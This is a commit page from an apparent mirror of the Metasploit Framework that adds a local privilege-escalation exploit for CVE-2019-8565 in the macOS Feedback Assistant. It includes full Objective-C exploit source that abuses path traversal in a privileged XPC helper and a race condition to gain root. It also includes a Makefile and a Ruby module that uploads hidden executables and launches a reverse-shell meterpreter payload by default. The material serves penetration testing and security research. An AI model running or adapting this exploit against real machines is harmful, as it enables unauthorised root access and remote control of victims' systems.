mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-10-09 04:26:11 +02:00
Add CVE-2019-8565 OSX Feedback Assistant local root exploit
This commit is contained in:
parent
5a8055f41d
commit
be1d185a04
BIN
data/exploits/CVE-2019-8565/exploit
Executable file
BIN
data/exploits/CVE-2019-8565/exploit
Executable file
Binary file not shown.
19
external/source/exploits/CVE-2019-8565/Makefile
vendored
Normal file
19
external/source/exploits/CVE-2019-8565/Makefile
vendored
Normal file
@ -0,0 +1,19 @@
|
||||
SRC = exploit.m
|
||||
OUTPUT = bin/exploit
|
||||
|
||||
.PHONY: exec
|
||||
|
||||
exec: $(SRC)
|
||||
@mkdir -p bin
|
||||
clang $(SRC) -framework Foundation -o $(OUTPUT)
|
||||
|
||||
run: exec
|
||||
$(OUTPUT)
|
||||
|
||||
format:
|
||||
clang-format -i $(SRC)
|
||||
|
||||
install:
|
||||
mkdir -p ../../../../data/exploits/CVE-2019-8565/
|
||||
cp $(OUTPUT) ../../../../data/exploits/CVE-2019-8565/exploit
|
||||
|
210
external/source/exploits/CVE-2019-8565/exploit.m
vendored
Normal file
210
external/source/exploits/CVE-2019-8565/exploit.m
vendored
Normal file
@ -0,0 +1,210 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#include <notify.h>
|
||||
#include <spawn.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define USR_LOCAL_BIN "/usr/local/bin"
|
||||
#define BINARY "/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/MacOS/Feedback Assistant"
|
||||
|
||||
#define MOBILITY_SCRIPT \
|
||||
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/Resources/get-mobility-info"
|
||||
#define NOTIFY_NAME "me.chichou.fbaroot"
|
||||
|
||||
#define LOG(fmt, ...) NSLog(@"[LightYear] " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
char payload_cmd[1024] = "ROOT_PAYLOAD_PLACEHOLDER";
|
||||
|
||||
#define SHELL_TEMPLATE \
|
||||
@"#!/bin/sh\n" \
|
||||
"%@\n" \
|
||||
"%@\n" \
|
||||
"rm -- \"$0\"\n"
|
||||
|
||||
@protocol FBAPrivilegedDaemon <NSObject>
|
||||
- (void)copyLogFiles:(NSDictionary *)mapping;
|
||||
- (void)runMobilityReportWithDestination:(NSURL *)dest;
|
||||
@end
|
||||
|
||||
extern char **environ;
|
||||
|
||||
void child(const char *path, int stage) {
|
||||
NSDictionary *transformed = [[NSDictionary alloc] initWithContentsOfFile:[NSString stringWithUTF8String:path]];
|
||||
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"com.apple.appleseed.fbahelperd"
|
||||
options:NSXPCConnectionPrivileged];
|
||||
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(FBAPrivilegedDaemon)];
|
||||
[connection resume];
|
||||
id remote = connection.remoteObjectProxy;
|
||||
if (stage == 1)
|
||||
[remote copyLogFiles:[NSDictionary dictionaryWithDictionary:transformed]];
|
||||
|
||||
else if (stage == 2)
|
||||
[remote runMobilityReportWithDestination:[NSURL fileURLWithPath:@"/tmp/whatever.mdsdiagnostic"]];
|
||||
|
||||
char target_binary[] = BINARY;
|
||||
char *target_argv[] = {target_binary, NULL};
|
||||
posix_spawnattr_t attr;
|
||||
posix_spawnattr_init(&attr);
|
||||
short flags;
|
||||
posix_spawnattr_getflags(&attr, &flags);
|
||||
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
|
||||
posix_spawnattr_setflags(&attr, flags);
|
||||
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
|
||||
}
|
||||
|
||||
NSString *relative(NSString *component) {
|
||||
return [[[NSBundle mainBundle] bundlePath] stringByAppendingPathComponent:component];
|
||||
}
|
||||
|
||||
NSMutableDictionary *traversal(NSDictionary *mapping) {
|
||||
NSMutableDictionary *transformed = [[NSMutableDictionary alloc] init];
|
||||
for (NSString *key in mapping) {
|
||||
NSString *val = mapping[key];
|
||||
NSString *newKey = [@"/var/log/../../.." stringByAppendingPathComponent:key];
|
||||
NSString *newVal = [@"/tmp/../.." stringByAppendingPathComponent:val];
|
||||
transformed[newKey] = newVal;
|
||||
}
|
||||
return transformed;
|
||||
}
|
||||
|
||||
NSDictionary *prepare() {
|
||||
NSError *err = nil;
|
||||
NSFileManager *mgr = [NSFileManager defaultManager];
|
||||
NSString *guid = [[NSProcessInfo processInfo] globallyUniqueString];
|
||||
NSString *cwd = [NSTemporaryDirectory() stringByAppendingPathComponent:guid];
|
||||
[mgr removeItemAtPath:cwd error:nil];
|
||||
|
||||
NSString *fakebin = [cwd stringByAppendingPathComponent:@"bin"];
|
||||
[mgr createDirectoryAtPath:fakebin withIntermediateDirectories:YES attributes:nil error:&err];
|
||||
|
||||
// argument for copyLogFiles:
|
||||
NSMutableDictionary *mapping = [[NSMutableDictionary alloc] init];
|
||||
|
||||
// write launcher
|
||||
NSString *launcher = [fakebin stringByAppendingPathComponent:@"root.sh"];
|
||||
|
||||
NSString *payload = [NSString stringWithCString:payload_cmd encoding:NSASCIIStringEncoding];
|
||||
NSString *exec = [[NSBundle mainBundle] executablePath];
|
||||
NSString *sh = [NSString stringWithFormat:SHELL_TEMPLATE, exec, payload];
|
||||
[sh writeToFile:launcher atomically:NO encoding:NSUTF8StringEncoding error:&err];
|
||||
// LOG(@"%@\n%@", sh, err);
|
||||
|
||||
// find /usr/local/bin/*
|
||||
NSString *mobility = [NSString stringWithContentsOfFile:@MOBILITY_SCRIPT encoding:NSUTF8StringEncoding error:&err];
|
||||
NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"if \\[ -x /usr/local/bin/(\\w+)"
|
||||
options:NSRegularExpressionCaseInsensitive
|
||||
error:&err];
|
||||
NSTextCheckingResult *match = [regex firstMatchInString:mobility options:0 range:NSMakeRange(0, [mobility length])];
|
||||
if (!match) {
|
||||
LOG("Fatal error: this exploit may not work on your system.");
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSString *privileged = [mobility substringWithRange:[match rangeAtIndex:1]];
|
||||
NSString *canary = [@USR_LOCAL_BIN stringByAppendingPathComponent:privileged];
|
||||
|
||||
LOG("canary: %@", canary);
|
||||
|
||||
BOOL isDir = NO;
|
||||
BOOL doesBrewExists = [mgr fileExistsAtPath:@USR_LOCAL_BIN isDirectory:&isDir];
|
||||
if (doesBrewExists && isDir) {
|
||||
mapping[launcher] = canary;
|
||||
} else {
|
||||
mapping[fakebin] = @USR_LOCAL_BIN;
|
||||
}
|
||||
|
||||
NSString *session = [cwd stringByAppendingPathComponent:@"task.plist"];
|
||||
NSDictionary *transformed = traversal(mapping);
|
||||
[transformed writeToFile:session atomically:NO];
|
||||
LOG("dictionary: %@", transformed);
|
||||
return @{@"session" : session, @"canary" : canary};
|
||||
}
|
||||
|
||||
#define RACE_COUNT 16
|
||||
|
||||
#define SPAWN_CHILDREN(stage) \
|
||||
for (int i = 0; i < RACE_COUNT; i++) \
|
||||
processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ session, @ #stage ]];
|
||||
|
||||
#define TERMINATE_CHILDREN \
|
||||
for (int i = 0; i < RACE_COUNT; i++) \
|
||||
[processes[i] terminate];
|
||||
|
||||
int exploit(NSString *session, const char *canary) {
|
||||
int status = 0;
|
||||
NSString *exec = [[NSBundle mainBundle] executablePath];
|
||||
NSTask *processes[RACE_COUNT];
|
||||
|
||||
LOG("Now race");
|
||||
SPAWN_CHILDREN(1);
|
||||
|
||||
int i = 0;
|
||||
struct timespec ts = {
|
||||
.tv_sec = 0,
|
||||
.tv_nsec = 500 * 1000000,
|
||||
};
|
||||
|
||||
while (access(canary, F_OK) == -1) {
|
||||
nanosleep(&ts, NULL);
|
||||
if (++i > 4) { // wait for 2 seconds at most
|
||||
LOG("Stage 1 timed out, retry");
|
||||
status = -1;
|
||||
goto cleanup;
|
||||
}
|
||||
}
|
||||
|
||||
chmod(canary, 0777);
|
||||
|
||||
LOG("Stage 1 succeed");
|
||||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
|
||||
int token;
|
||||
notify_register_dispatch(NOTIFY_NAME, &token, dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0),
|
||||
^(int token) {
|
||||
LOG("It works!");
|
||||
dispatch_semaphore_signal(semaphore);
|
||||
notify_cancel(token);
|
||||
});
|
||||
SPAWN_CHILDREN(2);
|
||||
|
||||
// wait for 2s
|
||||
dispatch_time_t timeout = dispatch_time(DISPATCH_TIME_NOW, 2.0 * NSEC_PER_SEC);
|
||||
status = dispatch_semaphore_wait(semaphore, timeout);
|
||||
if (status != 0)
|
||||
LOG("Timed out");
|
||||
|
||||
cleanup:
|
||||
TERMINATE_CHILDREN
|
||||
return status;
|
||||
}
|
||||
|
||||
int root() {
|
||||
notify_post(NOTIFY_NAME);
|
||||
LOG("I am groot (euid: %d)", geteuid());
|
||||
LOG("bye");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (geteuid()) {
|
||||
if (argc == 3) {
|
||||
child(argv[1], atoi(argv[2]));
|
||||
return 0;
|
||||
}
|
||||
|
||||
NSDictionary *ctx = prepare();
|
||||
if (!ctx)
|
||||
return 1;
|
||||
|
||||
for (int i = 0; i < 3; i++) {
|
||||
if (exploit(ctx[@"session"], [ctx[@"canary"] UTF8String]) == 0)
|
||||
return 0;
|
||||
}
|
||||
|
||||
LOG("all tries failed");
|
||||
return 1;
|
||||
} else {
|
||||
return root();
|
||||
}
|
||||
}
|
||||
}
|
100
modules/exploits/osx/local/feedback_assistant_root.rb
Normal file
100
modules/exploits/osx/local/feedback_assistant_root.rb
Normal file
@ -0,0 +1,100 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::OSX::Priv
|
||||
include Msf::Post::OSX::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Mac OS X Feedback Assistant race condition',
|
||||
'Description' => %q{
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'CodeColorist', # Discovery and exploit
|
||||
'timwr', # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-8565'],
|
||||
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'],
|
||||
['URL', 'https://support.apple.com/en-in/HT209600'],
|
||||
['URL', 'https://github.com/ChiChou/sploits'],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
|
||||
'Targets' => [
|
||||
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
|
||||
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
|
||||
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
|
||||
],
|
||||
'DisclosureDate' => 'Apr 13 2019'))
|
||||
register_advanced_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def upload_executable_file(filepath, filedata)
|
||||
print_status("Uploading file: '#{filepath}'")
|
||||
write_file(filepath, filedata)
|
||||
chmod(filepath)
|
||||
register_file_for_cleanup(filepath)
|
||||
end
|
||||
|
||||
def check
|
||||
version = Gem::Version.new(get_system_version)
|
||||
if version >= Gem::Version.new('10.14.4')
|
||||
CheckCode::Safe
|
||||
else
|
||||
CheckCode::Appears
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if check != CheckCode::Appears
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless writable? datastore['WritableDir']
|
||||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
|
||||
end
|
||||
|
||||
if target['Arch'] == ARCH_X64
|
||||
payload_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
|
||||
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
||||
upload_executable_file(payload_file, binary_payload)
|
||||
root_cmd = payload_file
|
||||
else
|
||||
root_cmd = payload.raw
|
||||
if target['Arch'] == ARCH_PYTHON
|
||||
root_cmd = "echo \"#{root_cmd}\" | python"
|
||||
end
|
||||
end
|
||||
root_cmd = root_cmd + " & \0"
|
||||
if root_cmd.length > 1024
|
||||
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
|
||||
end
|
||||
|
||||
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8565", "exploit" ))
|
||||
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
|
||||
exploit_data[placeholder_index, root_cmd.length] = root_cmd
|
||||
|
||||
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
|
||||
upload_executable_file(exploit_file, exploit_data)
|
||||
|
||||
print_status("Executing exploit '#{exploit_file}'")
|
||||
result = cmd_exec(exploit_file)
|
||||
print_status("Exploit result:\n#{result}")
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user